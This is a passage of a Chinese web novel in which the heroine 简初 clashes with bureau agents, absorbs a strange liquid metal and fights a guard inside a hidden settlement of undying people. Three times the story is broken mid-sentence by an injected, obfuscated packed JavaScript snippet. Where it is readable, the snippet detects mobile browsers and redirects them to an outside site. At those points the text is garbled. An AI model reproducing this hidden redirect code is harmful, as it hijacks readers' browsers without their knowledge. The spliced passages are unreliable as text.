下层传来连续的脚步声，肯定是刚刚的动静引起了注意，简初眉头紧蹙，又看向了对面快发疯的年轻人。 她不能杀他，不仅是因为黑雾，也因为他是样本。 尽管用样本这个词有些冷酷无情，但异能署说不定有解决办法，要是能弄清黑雾究竟是什么就更好了。 瞬息之间，一个计划在简初心底成形，她余光瞥见匆匆赶来的身影，为首的高大男人是个生面孔，但他身后的马瑞安却是老熟人。 “那是……”看到楼上站立的人影，梁成瞳孔骤然紧缩。 沈郁也是个聪明人，这时候稍稍动下大脑，就知道这人是谁了。 她看上去不算健壮，但整个人的气质却像一柄出鞘的剑，只是看了一眼就感觉会被割伤。比起他来之前看过的证件照，简初的脸庞清瘦了不少，瞥过来的眼神也失去了温度。 不像是个救死扶伤的医生。 只是一个照面，沈郁当即动手。他三步并作两步跨上楼梯，抬起手凝结出一个黑白的半透明魔方，每小块魔方之间插着一根细细的大头针，出现的瞬间就鼓胀起来，直到可以把简初整个人罩进去。 魔方的每一块贴面和每一根粗针各自行动，从四面八方飞来，看上去要把人切成肉块才善罢甘休。 不过沈郁此刻大脑很清晰，他知道自己该做什么，所以那些粗针只是在空中盘旋防备，如果简初对他们不利，才会狠狠戳进她的身体里，解除她的战斗力。 可惜，在魔方即将把人锁住的瞬间，简初消失在了原地。 什么？！ 沈郁头皮一紧，就看到她出现在那个“普通民众”旁边，伸手掐住了他的脖子。 这是要人质来威胁？未免也太小瞧他们了！ “简初！”马瑞安急得额头冒汗。 任谁看了，都觉得简初是想要对无辜的人下手，尽管那人看上去人高马大，身材比她健壮地多，可普通人和异能者之间的鸿沟是无法跨越的，更别说马瑞安很清楚，她究竟有多强。 但令人意想不到的是，那“普通人”脸上却没有流露出一丝一毫的惊慌，他脸色涨红骂骂咧咧，两手紧紧抓住了简初的手腕，让几人意识到了不对劲。 “你们跟着黑雾来的？”简初没有分出一点视线给异能署的这几个人，“黑雾强化了他的身体，麻烦你们带回去好好看看。” 话音刚落，她飞快扯下旁边的风铃，随手一甩，掌心就出现一条流光溢彩的长鞭，上面的玻璃碎片层层叠叠覆盖，宛如蛇鳞。 这又是个什么异能？ 马瑞安感觉自己的认知再次被刷新，灵魂都已经麻木了。 长鞭仿佛有生命一样，在那人手腕脚腕缠了几圈，直接把四肢紧紧束在一起，简初才松开他后退两步，拉开了距离。 “别担心，我不是坏人。”她退到天窗下方。 沈郁：…… 没有哪个坏人，会说自己是坏人，这话哄三岁小孩都不够。 “还有幽灵，我会看好他的，不会给你们惹麻烦。”简初的声音在空旷的美术馆里回响，配着地上被绑住手脚的人的咒骂，多了几分难言的滑稽。 “合作愉快。” 她最后留下这句话，眨眼间就消失在了原地，站在屋顶透过天窗朝他们摆了摆手。 这下是真走了。 眼见捆住那人手脚的长鞭开始消散，沈郁赶紧用异能把那人控制住，才面色不好地长出了一口气。 “先把他带回去吧，别的再商量。” …… 华灯初上。 这么一来一回，天色都昏暗下来，简初拎着顺路在超市买的日用品和食物，避着沿路的监控回了家。 她刚掏出钥匙插进门锁，大门就从里面打开了，幽灵单腿靠着墙壁站立，露出一个如释重负的表情：“你回来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说实在的，他其实有点委屈的，但以他的性格又说不出反抗的话，只能跟着简初一起转移阵地，坐在宽大柔软的沙发里看电视。 唔，不过电视还挺好看的。 不知从何时开始，客厅只剩下电视里的声音。 简初有些心不在焉，时不时瞥一眼手机，确认现在的时间。她其实有很多问题想和幽灵聊，但现在并不是好时机，毕竟要是真聊完，到时候回来大概率还得再聊一遍。 一个脑子哪里装得下那么多东西，现在更重要的是那边的事情。 她是杀了偷袭者之后突然回来的，也就是说，她这会很可能会出现在对方死亡前后的某个时间点，如果是死亡后还好，但如果正好卡在打斗中的某个时刻，那就很危险了。 屏幕上的时间已经来到1：59，简初深吸了一口气，努力让自己身体的每一寸肌肉做好战斗准备。 幽灵敏锐地感知到她的异常，他扭头看过来的瞬间，系统的音乐声准时响起。 “噔噔噔！” “读取锚点（1/2），倒计时归零，偏移度+18。” 173. 无人区（75） 眼前还没有出现画面，指尖就感受到灼烫。 她下意识缩了缩手，触手们瞬间暴起，将试图从她掌心逃离的东西紧紧捆住。 下一秒，简初猛然睁眼，反手拽住这一团几乎已经化作液体的金属，掌心仿佛紧握着一块烙铁，但她还是选择伸出另一只手，将快要隐没在尸体衣领下的银色金属往回拖了拖。 偷袭者的眉心是一个致死的窟窿，那是简初之前留下的，他此时两眼无神仰躺在地上，嘴角还挂着一丝诡异的笑。 而金属液也在执着往他心口流淌，简初担心放任它会带来什么异变，一时之间根本不敢松手，而是召唤了更多触手，层层叠叠将金属裹住。 等等，这是…… 她眉头皱起，敏锐地发现尸体胸口似乎有些下陷，可按照人体正常的身体结构，胸部应当是微微隆起的，至少不会比腹部更低。 半透明的触手接收到她的指令，迅速窜过去，扯开了尸体的衣领，露出已经干枯的皮肉。 银白色的金属液扎在其中，尸体的血肉变得很干很干，好像所有水分瞬间蒸发，表面甚至开始出现一颗颗的沙粒状碎块，完全不符合生物降解的原则。 不对，沙粒状碎块，她好想在哪里见过？ 瞬间，简初脑中闪过一道亮光。 那夜在无人区偶遇的幻境中，她见到的濒死之人，他的尸体就是像这样，化作一抔黄土，消失在沙地之中。 难道……那真的不是幻境？ “呃！” 手心的剧痛让她差点松手，可看上去皮肤并没有受到任何伤害，只是疼痛而已。金属液也许是发现她不会轻易松手，向外逃脱的力气反而小了很多，甚至开始从尸体胸口往回缩，一眨眼就攀上简初的手指。 根本不给人反应的时间。 它从简初的指尖向上蔓延，所过之处都是热辣的灼痛。简初不止一次见过，它在那偷袭者身上流动，化作强力的护具，但……真的这么疼吗？ 不过呼吸之间，它就在手腕处驻足，裹住了简初的终端。 不，不是终端，它的目标是那颗和终端绑在一起的小球，那是简初从米勒尔手中抢来的，那块被系统打上问号的神奇金属。 甫一接触，小球就瞬间与金属液合为一体，让简初头皮一阵发麻。 她突然理解了偷袭者口中那句“卑劣的强盗”，难道……对方就是追寻这东西而来的，才误会她是抢走东西的罪魁祸首。 灼烫感突然消失，金属液安静流淌，最终在她手腕内侧化作一道银白色的“∞”，就像是镶嵌在她皮肤之中。 这东西有危险吗？能抠下来吗？ 这几个想法刚刚从她脑中闪过，下一秒，简初就看见这道银白色的痕迹往外冒了冒，紧接着“啪嗒”一声弹出来，被小触手准确接住。 啊？真能掉下来啊？ 系统播报虽迟但到。 “损失物品：？？？，来源地：无人区。” “获得物品：？？？，来源地：？？？，未知物品，请谨慎使用。” 简初：…… 怎么看上去好像进化了，但问号却变多了，这种提示要了有什么用啊！ 至于使用，难道她也可以…… 金属回应着简初的想法，它软软摊开来，变成柔软的液体迅速蔓延，最后“嘎达”一声，在简初的下巴处碰撞合并，变成了一具完全贴合皮肤的软甲。 和之前相比，它此时能覆盖更多的部位。简初已经可以确定，那颗小球就是米勒尔从这人手中夺走的，但是不知道因为什么，只带走了其中一部分，现在金属重新融合，才恢复了原貌。 她心中一动，身上的金属又如潮水般褪去，缩回手腕内侧彻底安静了下来。 地上的尸体也消失了，连衣服也一样，只剩下一滩人形的细沙，被凛冽的夜风一吹，就融进了无人区的尘土中，就好像他本身并不是人，而是用沙土捏制的泥偶。 但现在应该考虑更实际的问题。 简初仰头看着满天繁星，四周看不到一点其他的亮光。 她现在在什么位置？ 下一秒，简初若有所觉地向某个方向看去，远方的风捎来微弱的闷响，如同丧钟，在无人区的上空盘旋。 那个方向，是无人区的深处。 …… 空旷的室内突然响起沉重的嗡鸣。 守在门扉前的老者慢慢睁开眼，他双手在腹部交握，等着里面的人走出来。 这已经是第三次了，他也没想到，木羽这孩子竟然会遭受如此的磨难，也许这就是神明对他的考验吧。 尽管心中多有怜惜，但他脸上依旧是那副冷漠无情的表情，眼皮半耷拉着，似乎什么都不会放在心上。 他不能对这里的任何人表现温和，如果没有严厉的训诫，他们会逐渐放松警惕，对于拥有无限生命的人来说，这并不是一件好事。他们会依仗于此，而愈加松懈，在与敌人的战斗中轻易死亡。 然后轻易复活，这会让大家沉迷于不死的安逸之中，失去和怪物们对抗，保卫家园的决心。 他们一直安居一隅，这扇门也从来没有如此频繁地开启过，难道，这是神明对他们的指引吗？ 头顶的嗡鸣宛如丧钟，一声刚刚歇下去，下一声又再次敲响，这里的每个人都停下动作，抬头望向不远处的锥状尖塔，为重新回到他们之中的人祈祷。 老者凝视着紧闭的门扉，终于意识到了些许异样。 最后一声嗡鸣渐渐消散，但门仍然没有打开，门缝里的微光甚至暗了下去，恢复了一如平时的安静。 “这是怎么了？”他喃喃自语，脸色突然变得极为难看。 为什么……没有开门？ 巨大的恐慌席卷心头，他匆匆忙忙走到门扉前，取下胸前的吊坠将它拆成两半，严丝合缝地放进了左右两扇大门的凹槽中。 “吱呀……” 流光从门板上一闪而过，大门应声而开，露出一道狭窄的缝隙，被他伸手用力推开。 屋内空空荡荡，只有尽头的角落放着一块巨大的、两人高的黑色石头。它表面坑坑洼洼，好像被火烧过，但每一个凹槽和凸起都十分圆润，带着点油亮的色泽。 巨石朝向屋内的一面被平整地切开，浅灰色的内里光可鉴人。 老者从中看到了自己模糊的身影，内心愈加紧张。他颤颤巍巍摘下腰间的小布袋，从中找到了属于木羽的那一小块白骨。 他把骨碴拢在掌心，上下摇晃了几下，口中念念有词，才将它朝那块石头的截面抛过去。 白骨被神秘的力量托起，散发着淡淡光芒悬浮在空中，让老者眼中闪过一丝期冀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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傅燃仰起头，看向远处的天空，眉头紧紧皱起。 随着他们的赶路，异种密度和活跃度越来愈高，夜间他们就驻扎在这里，依靠工具驱逐异种，来保留实力，节省资源。 众人已经准备歇下，闻言，傅遥疑惑地顺着他看的方向抬起头：“什么声音？我没听见啊。” 她说完，又凝神屏息仔细倾听，但除了远处异种的叫声，她什么都没听见。 “不，有的，像钟声一样，距离有些远。”傅燃微微侧过头，垂下眼仔细倾听。不知道是不是错觉，除了这类似钟声的动静，他还听见了别的什么。 耳边似乎有风掠过，让他有种自己正在跑动的错觉。 下一秒，眼前突然闪过一个画面，那也是一片沙石和星空，但不同的是，不远处有着林立的石柱和黑色尖塔。 “唔！” 他猛然捂住额头，咬紧牙关咽下嘴边的痛呼，把傅遥吓得够呛。 “你怎么了！”她赶紧伸手扶住他，低声询问，“是精神力出问题了吗？还是……” 疼痛来得快去得快，傅燃摇摇头，伸手一指：“没事，不过……我们明天是要往那个方向走吗？” “对，怎么了？”傅遥仍然有些忧心，“你不舒服就先休息，我来守夜就行。” “已经没事了，不过我觉得明天或许可以加快点脚程。” 不知为什么，他的心脏正在“扑通扑通”狂跳，好像发生了什么很不好的事情，让人心惊胆战。 人的第六感，有时会准得相当可怕。 特别是针对坏事的时候。 174. 无人区（76） 昏暗的室内，豆大的黄色烛火不停跳跃，把聚集的人影拉得很长，恍惚颤动地映在崎岖不平的墙壁上，仿佛是一群从地狱深处上行的幽魂。 他们聚集在巨石周围，一共二十来人，男女老少都有，但所有人都穿着相同的灰色罩衫，脸上也都是如出一辙的茫然。 “人都齐了，大人。” 木石拨动着掌心的骨块，终于抬起了头：“我很少让大家在这里集合，各位应该能意识到这次事情的严重性。” 此言一出，周围响起细碎的议论，但很快又安静下来。 “木羽死了。” 没有任何铺垫的四个字，一石激起千层浪，让所有人陷入安静，大家好像不能很好消化这句话中的意思，纷纷露出疑惑的表情。 “死了，是什么意思？”角落里有人问，他和木羽是很好的朋友，“死了的话，不是可以再回来吗？” 巨石安静地矗立着，在场的每一个人或多或少，都有“复苏”的经历，死亡这个词离他们太遥远了。 “今天响了两次‘祷音’，难道不是木羽吗？” 木石身后的两个中年人开口解释：“第二次‘祷音’是木石大人，大人年长身体脆弱，得知木羽死亡，一时出了意外……至于第一次，‘祷音’确实响过，但木羽并没有回来。” 那人还不愿相信这件事：“可是，这也不能说明他死了啊？” 祈求的眼神落在老者身上，希望他能说点什么，木石终于长叹了一声，伸手露出掌心的那块碎骨，它原本应该是洁白无瑕的，但此时却布满黄斑和裂纹，看上去饱经风霜。 众目睽睽之下，碎骨被人抛起，毫不停留地撞到巨石的截面，然后“咕噜噜”掉到地上滚了一圈。 鸦雀无声。 “怎么……会这样……”那人后退半步，不愿意接受这个事实。 “就是这样，木羽他……永远沉眠，不会再回来了。”老者的嗓音饱含悲痛。 太久了，他已经不记得上一次见证死亡是什么时候的事情了，也许几十年，也许上百年，他自己也不知道了。 死亡的暗影重新笼罩在族人们的头顶，令人无措，可他到现在也不知道，究竟是哪个环节出了问题，才让木羽彻底死亡。明明他只是去找回自己的东西，怎么就一去不会了呢？ 对，他的东西，被人夺走了。 众人经历短暂的不安，终于问出了最重要的几个问题：“为什么会这样，我们该怎么做，我们也会死掉吗？” 如果他们没有经历过“不死”，也许还能坦然面对，但拥有过的东西骤然失去，让人无法接受。 明明在很久之前，“死亡”也常常造访，但现在他们已经忘记了“死亡”和“离别”的滋味，现在光是听到这两个字，就会本能地颤栗。 老者轻抚着手背银白色的菱形图案，叹了口气：“或许，是因为有人夺走了木羽的‘根基’。” “什么！谁！是谁！”听见这话，木羽的好友完全无法接受，他可以接受神明回收了赐福，都不能接受木羽是被其他人害死的。 可到底会有谁，能夺走神明赐予他们的力量？ “冷静些，木然。”老者皱起眉头训斥道，“这不是简单的事情，凶手能杀了木羽，就不是那么好对付的。” “但是我们不能就这样屈服啊！”木然眼睛通红，“如果那个凶手不满足于这些，如果他想杀了我们所有人该怎么办？！” 再怎么自欺欺人，大家都清楚永生不死、容颜永驻是有违天理的，这世上太多人渴求永生，他们得不到这份力量，也会仇恨得到“永生祝福”的人，这并不是什么不能理解的是。 他们不能坐以待毙。 “自然，既然对方抢走了木羽的东西，神明就能‘看到’他身处何方，但在我与神明沟通成功之前，诸位需要在周边进行巡逻。”木石表情诚恳，“在座的诸位都是优秀的战士，我们有与众不同的力量，现在，就是我们保卫家园的时刻！” “就算是天涯海角，我们都要将他格杀，以慰木羽之灵！” 掷地有声的话语让屋内陷入片刻安静，几秒后，是士气昂扬的高呼响彻，众人的声音如同聚集的火焰，势必将一切焚烧殆尽。 痴狂的人群中，却有寥寥几人面露忧愁，他们互相对视几眼，眼中是化不开的焦虑。 真的，会死去吗？ …… 天空昏昏沉沉的，简初仔细打量过头顶的积雨云，半晌才松了口气。 幸好不是风暴云团，不然还真费劲。 她大概已经猜到此时自己已经身处无人区腹地，但出人意料的是，这里的异种密度反而没那么高，就连天气也变得普通起来。这么看来，真正危险的是环绕着腹地的大片区域，那里聚集着大量异种和无法预测的恶劣气象，就像一条“护城河”，保护着最中心的区域。 嶙峋的怪石四处耸立，它们都是黑黢黢的，上面还有着风吹日晒带来的白色斑痕。简初此时正躲在两块巨石倾斜搭成的洞穴里，等待这场雷阵雨过去。 雨珠“噼噼啪啪”砸在头顶，把地上的石头冲刷得干干净净，呼啸的风从四面八方吹过来，发出尖锐的哨音。 简初一夜未眠才赶到这里。为了节省体力，她一路上小心躲避着游荡的异种，精神格外紧绷，这会听着雨声竟然有些困倦。 “清醒一点，简初。”她赶紧伸手拍了拍脸颊，用力睁了睁眼。外头的雨势忽大忽小，为了防止被淋湿，她必须要等到这场大雨结束，否则要是生病，就更麻烦了。 高大的异种晃晃悠悠从外头经过，但它没有弯腰低头，简初只能看见它下半截身子，伴随着几乎被暴雨掩盖的脚步声，逐渐远去，消失在雾蒙蒙的雨幕中。 一小撮火苗正悬浮在她身边，驱赶尚未消散的深寒。 雨来得快去得快，头顶的石板“滴答滴答”掉落着成串的小水珠，反射出逐渐亮起的天光。 差不多该走了。 雨后的空气湿度很高，简初灵活钻出来，呼吸间感觉整个肺部都变得湿漉漉的，地上积蓄着水洼，走过去除了漾起几圈水波，几乎不会留下任何痕迹。 不过走出了十几步，远处的地平线就冒出一个小小的锥形，黑乎乎的不算显眼，但形状过分规则，完全不像是天然形成的。 简初心底不免升起一丝警惕。 她已经意识到，无人区并不是真的“无人”，也许这就是那袭击者的大本 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简初还没来得及从震惊中脱离，就看到有身影从那洞口中走了出来。这么遥远的距离，人看上去如同蚂蚁一般渺小，但她还是下意识趴在了地上，以防被发现。 天空中又开始飘起蒙蒙细雨，让一切变得有些模糊。 精神力缓慢倾泻而出，试图探查里面的情况，可简初万万没想到，精神力刚刚涉过第一栋黑色建筑后，就被什么隔绝在外，无法继续前行。好像有一层看不见的屏障，将精神力完全隔绝在外，只能在外面笼出了一个巨大的、倒扣的罩子。 相当不妙，但该死的是她现在没有退路。 天空昏暗的速度很快，哪怕不是风暴，也会是一场很大的雷阵雨、身侧的火苗已经开始被致密的雨幕压制，简初索性撤掉异能，感受着重新爬上脊背的阴寒。 十分钟后。 道路上积蓄着浅浅的水洼，放大了其中的脚步声。简初谨慎地贴着墙面行走，下一秒微微蹙眉，旋身躲进最近的一栋建筑里。 它有着高高的穹顶，里面的生活用品布满了尘埃，看上去很久没人来过。 暴雨无情地灌入门窗，却刚好遮掩了简初的足迹，以及雨水从发梢滴落的声音。 十来秒之后，脚步声由远及近。简初单膝跪地紧贴墙角，低垂着脑袋一动不动，但身上的每一块肌肉紧紧绷着，做好随时动手的准备。 有两个人轻声说着话，毫无所觉地经过。 “木羽真的死了吗？” 简初眯了眯眼，凝神细听他们的对话，此刻提到“某个人死了”，很容易让她联想到那个袭击者。 “这问题还有意义吗，你刚刚也都看到了。”另一人回答的声音里满带愁绪。 这句话让简初蹙起眉头。 看到？他们看到什么了？ “可是我不能接受，事情怎么会这样……” “别想这些了，先在周围警戒吧，木石大人会有办法的。那人既然抢走了木羽的东西，肯定逃不掉的。” “没错，天涯海角，我们都要找到他。” 简初咧咧嘴，倒吸了一口凉气。她微微垂眼，看向手腕内侧的标记，心底升起一丝不祥的预感。 175. 无人区（77） 那两人说着话，逐渐走远了。 简初并没有贸然离开这栋建筑，她此时没办法使用精神力探查周围的情况，甚至连异能都被离奇压制，用起来消耗倍增，只能选择打起十二分的精神，警惕着四周的动静。 几分钟后，周围确实没有再听见脚步声，她才小心探出头，趁着雨势减小，迅速以周围的建筑为掩体，不断接近中央的黑色高塔。 她有预感，那里会有自己想要的答案。不仅如此，她现在还急切需要和外界联络的途径。 尽管因思禾一行人的目的地也是无人区腹地，但简初不敢打包票，说他们一定会找到这里，而自己是绝对不可能一直待在这个地方的。 仅凭刚刚那两个人的对话，就说明有一群人正在四处搜寻她的踪迹。人员外出，内部空虚，或许正是探查的最好时机。 此时的黑色高塔内确实空无一人，只有木石盘腿坐在巨石前方，稳稳伸出手，触摸着石头光滑的截面。 巨石内部微微发亮，和他手背的银白色金属图案遥相呼应。老者正睁着眼，但瞳孔中却是一片白翳，几乎连呼吸都停滞了。幸好此时周围没有其他人，否则真要被吓一大跳。 许久之后，他眼底的白雾缓缓散去，整个人如同灵魂归位一般，剧烈抖动了两下，才猛地收回手，捂住胸口剧烈喘气。 他“听到”了，神的指引。 那人竟然已经进入了他们的领地，实在是胆大包天！ 门外等待的两个中年人十分焦虑，他们反复在原地踱步，不断互换位置，时不时抬头看看大门，却依然等不到里面的人出来。 “怎么还没好？”其中一人先按捺不住了。 另一人长长叹了口气，紧蹙的眉头从开始就没松过：“这也许是对我们的考验，唉，相信大人吧，毕竟只有他能聆听到神明的教诲。” 从第一个死去的人于石中复活，就是木石大人告诉他们，被神选中的人将拥有不死的能力。 外面的世界太危险了，他们没有滔天的权势，也没有强大的力量，一不小心就会被人发现秘密，而被发现后要面对什么，他们也不敢去想。 这里的生活虽然平静无趣，但大家相互依靠，不会受到非人的折磨。 “嘎吱！” 沉重的大门被人拉开，露出老者难看的脸色，两人赶紧迎上去，可还没等他们问什么，木石就急匆匆开了口。 说实话，这么多年，他们从来都没有见过老人露出这样的表情，也从来没有听过如此急切的语气。 人活久了，什么都见过，自然也没什么值得惊慌的，可现在情况完全不一样。 “那人已经来了，他进到我们的领地了。” “你们快去通知‘信使’，让他把这个消息传达给所有人，快去！！！” …… 天空阴沉沉的，暴雨暂时停歇，只有水珠接连不断从建筑上往下滴落，在地上荡起一个个水圈。 简初此刻正躲在精挑细选的一栋无人建筑内，悄悄打量着不远处的黑色高塔。 这里的建筑虽然高大，但无一例外都有穹顶，内部没有分出任何楼层。而她现在所在的这栋，已经是附近视野最好的地方了。 既然如此，这一栋建筑里几乎只能住两三个人，再排除一些被废弃的……这地方竟然并没有很多人。 至少比她想象中少得多。 “嗖——” 窗外有什么黑色的东西一闪而过，速度很快，快到几乎看不清是什么，但是根据大小猜测应该是一个人。 简初迅速趴下，眉头紧皱。 速度这么快……难道这里的人都是异能者吗？ 如果她的异能被压制，而对方的异能却可以自由使用，那自己原先的战术就完全派不上用场了。 简初强行冷静下来，劝说自己不要太早下定论。可下一秒，手腕内侧的银白色纹路突然爆发出灼烫，图案散发出红光，让她有种血液快被烤干的错觉。 “唔！” “呃！” 她努力压制喉间的痛呼，却猛然意识到发出声音的不止她一个人。 “你在这！” 伴随着一声怒喊，一个人影猛然从窗外冲进来，他手中的激光刀拖着蓝色的残影，直接朝她心口而来。 简初瞳孔紧缩，抬腿蹬墙猛然后翻，有些狼狈地躲开这一招，这才有空看清对方的样子。 这一看不要紧，对方身上同样覆盖着的金属软甲让她心道不妙。 夭寿了，不会这里的所有人都有这玩意吧？！ 也许因为沾了水，来人手中的激光刀发出轻微的“滋滋”声，直到上面的水分烘干才彻底安静。 有武器，有护甲，看上去不好打，但至少不能让他召集其他人。 想到这里，简初微微握紧拳头，下一秒，银白色的金属迅速从手腕处蔓延而来，直到和对方一样，在下巴处扣紧才算结束。 “果然是你！！！”见到这一幕，木然更加愤怒，他按动手里的激光刀，将功率调到最大，刀刃上爆发出耀眼的光，中心甚至已经开始发白。 不能硬碰硬。 简初脑中迅速闪过四周的地形，一个假动作就要和对方拉开距离。可她未曾料到腿部的金属甲强化了身体力量，这一个深蹬，差点让她直接飞出去，在旁边的墙壁上撞破脑袋。 她赶紧用手撑墙，从半空中跃下，电光火石间一个横扫，直接踢中那人的手腕，激光刀应声飞出，在地上叮铃哐啷滚动几圈，最后躺在地上扑闪几下，熄灭了。 接下来的肉搏本不算是她的强项，但这神奇的金属完全弥补了她不足的身体素质，让力量浸透了身体的每一寸。 两个身影不约而同冲向对方，重重碰撞在一起，沉闷的□□碰撞声不断回响。 对方看上去很喜欢用野路子，也许是习惯了凭借被强化的身体取胜，相比之下反倒是简初更加游刃有余。 但因为还没有完全适应金属甲的功能，她的招式时轻时重，一拳下去甚至震得自己虎口发麻。而对方招招狠辣，一拳砸在腰腹，几乎将她五脏六腑都打得移位。 “咳！” “呸！” 简初咳嗽两声，压下口中的腥甜，而对方更是吐出一口血。 这是刚刚简初一脚踢歪他下巴，让他一时不察咬到了舌头。 两人拥有几乎相当的力量，但他也意识到对方的招数要更强，原以为的猫鼠游戏进行了残酷的角色交换。 “有两下子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028022|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他喘着气，伸手擦掉嘴边的血迹。 简初努力平复自己的呼吸，不想露出任何示弱的迹象。她不知道对方有没有发送信号，自己必须尽快结束战斗，离开这里。 扑面的拳头带着破风声，简初微微侧头闪过，一手扯住对方的手肘，另一手迅捷如电，拳峰狠狠凿在他的侧腰。 “呃！” 金属甲对碰，疼痛让男人痛呼出声，但简初没有收手，而是握着他的手肘一旋，强行卸下了他的关节。 金属甲确实可以强化力量和抗击打能力，但硬碰硬的时候，它并不是无敌的。 “你这个……唔！” 简初提起对方的领子，一拳打在脸上，飞出一颗完好的牙齿，也把对方的话打回了肚子里。 动静已经很大了，不能让他再搞出什么声响来。 许久的击打声后，建筑内又恢复了安静。直到现在都没有人来支援，简初终于稍稍放下心来。 她垂眼看着地上无声喘气的人，半蹲了下来：“你们是什么人？” 回答她的是对方一个嗤之以鼻的眼神，以及一口带着血水的唾沫。 简初微微皱起眉头，可还没等她再说什么，地上的人突然爆发最后的力量，忍着疼痛从地上腾身而起，一把捞起地上的激光刀。 还不死心？！ 这个念头刚从心底一闪而过，就看见对方把激光刀架上了自己的脖子。 “噗呲！” 温热的鲜血迸溅开来，那人“噗通”一声倒地，眨眼化作尘土消散。 这一切几乎只花了两三秒的时间，简初完全没想到事情的走向会是这样的。 这是什么意思，以死明知吗？ 可尸体消失的方式让简初心生疑虑，她环顾四周，并没有在周围发现任何疑似金属液的踪迹。 不对劲，这地方很不对劲。 第六感拉响她心中的警铃，简初伸手擦掉溅到脸上的鲜血，意料之中摸到一层薄薄的尘土。 激光刀安静地躺在地上，她缓步上前捡起，却在刀柄的底部看见了斯塔集团的标志。 这又是什么情况，斯塔集团和无人区腹地的未知聚落有联系？ 嘶，现在先别想这个，她得先换个地方躲躲，至少，不能在这附近了。 简初甩干激光刀上血，刚刚迈出两步，就突然听见沉重的嗡鸣，来源正是那座高塔的顶部。 此时的黑塔之中，木石猛然睁开了眼。 面前的巨石散发出耀眼的光华，将整个空间内的每一个沟壑都照亮。很快，截面里出现了一个人影，他一步一步走过来，露出属于木然的那张熟悉面孔。 “你……”老者哑然。 年轻人眼眶微红：“我遇到她了，但是……她用木羽的……打败了我。” “什么！”木石大惊，他惊讶的并不是木然被对方击败，而是在于，那人竟然也能使用神明的“赐物”。 难道……对方也能拥有不死的能力？！ 木然没看懂老人反复变换的脸色，只觉得胸口有火焰在燃烧：“请大人召集大家，我知道那人在哪，去晚了她就跑了！” “……好。”老者僵硬地从胸腔呼出一口气，“活着抓回来，我有话要问她。” 176. 无人区（78） “呼——” 傅燃从车上跳下来，看着面前的天坑长长呼出一口气。雨点“噼噼啪啪”打在黑色雨衣上，顺着帽檐流下来，再淌到他脸上。 “找到了。” 众人纷纷下车，凝视着不远处林立的建筑群倒吸一口凉气。这个距离完全可以清晰看到，密集的雨点在建筑群上空突然减速，然后以另一个完全不同的方向继续下坠，就像扣了一个罩子，把空间硬生生切割为两层。 上层的雨水织成密密的网，入眼一片白茫，只能看见顶部的云层，而下方的雨水变得清透，仿佛是一张阴郁的油画，充满了致命的美感。 “就是这里吗？” 崔斯特扶着米勒尔走下车，防止对方不慎跌倒。听到米勒尔的询问，他愣了愣，但却摇头：“抱歉先生，我们上次并没有来到这么深的位置。” 他们是在更外围的地方遇到那个落单的异种人，对方当时正在躲避一群异种，但很不巧，他们的闯入惊扰了异种群，在那场战斗中牺牲了很多队员，但幸运的是他们最后杀死了那个异种人，得到了无序合金。 从未见过的金属成分，被米勒尔命名为无序合金，是那次探索最有价值的收获，但很可惜被人抢走了。 他知道，米勒尔这次费了这么大劲邀请联研所和特战中心入局，就是为了借这群人的手，再找到一份无序合金。 几辆越野车的车门大开着，研究员们正在操作仪器，尝试分析周围的环境，方便因思禾制定后续的行动策略。 “异常的磁场波动，干扰了仪器信号。”程源打量着屏幕上的数据，眉头紧紧蹙起。他现在也不在意别的事情了，眼前的景象占据了他全部的好奇心，至于莫景……现在暂时也不重要。 年轻的女孩并没有下车，而是透过车窗看向外面的人忙碌，口袋里的手握紧仅剩的那颗酸砂糖，没有舍得吃。 “莫景，没事的话来搭把手吧。”傅遥朝她招招手。 作战人员正在搭建驻扎点，比起之前途中的临时停歇，这次的驻扎周全很多，看来是打算将这里当做临时的指挥部，而调查的重点就是下方天坑中的建筑群。 巨大的幕布在雨中撑起一方天地，一时间没有人说话，都在各自的岗位上忙碌着。 “附近的异种群数量急剧减少，但信号反馈变得强烈，或许只有强大的个体才会深入到这里，这是一个值得研究的关键。”林颀正和程源小声讨论着，比起胡宣那个半吊子，他显然对程源还算认可。 “看看能不能抓到一只，需要研究样本。”两人达成一致，并且将最新的研判结果整合完毕，交给了因思禾。 平日是不可能这么简单随意给出研判报告的，但现在争分夺秒，一切都是越快越好，更详细的可以再继续补充。 “来看看吧。”因思禾召集了几个重要战力，傅遥傅燃自然在列，而崔斯特需要保护米勒尔等人，斯塔集团自然只能派出林愿参加第一次前锋探索工作。 “这里面可能就是异种人的聚居地，你们一定要小心。” 从刚刚开始，因思禾的眉头就没有松开过，尽管发现这个地方是意外之喜，但面对未知的事物，没有人能保持轻松愉悦。 傅遥沉吟片刻：“也就是说斯塔集团丢失的武器，很大概率就在这里，而且会被他们利用。” “之前遇到的袭击者，很强。”林愿难得说句话，她的声音微微沙哑，但异常平静，仿佛要面对危险的不是她自己。 因思禾看了她一眼，表示赞同：“你们仔细把这些都你看一下，要做好准备，可能每个异种人都有不俗的战斗力，不能掉以轻心。另外，你们记得放置信号发射器，尽量和我保持联系，我会在合适的时候安排第二队人进去。” 行动计划已经尽可能周全，但她仍然放心不下。 “差不多了，我们早点出发吧，你跟米勒尔保持距离，尽量和特战中心的人待在一起，我怕他有所企图。”傅遥低声嘱咐她，伸手把准备好的挎包绑在腰间，尝试活动了两下，“没问题，走了。” 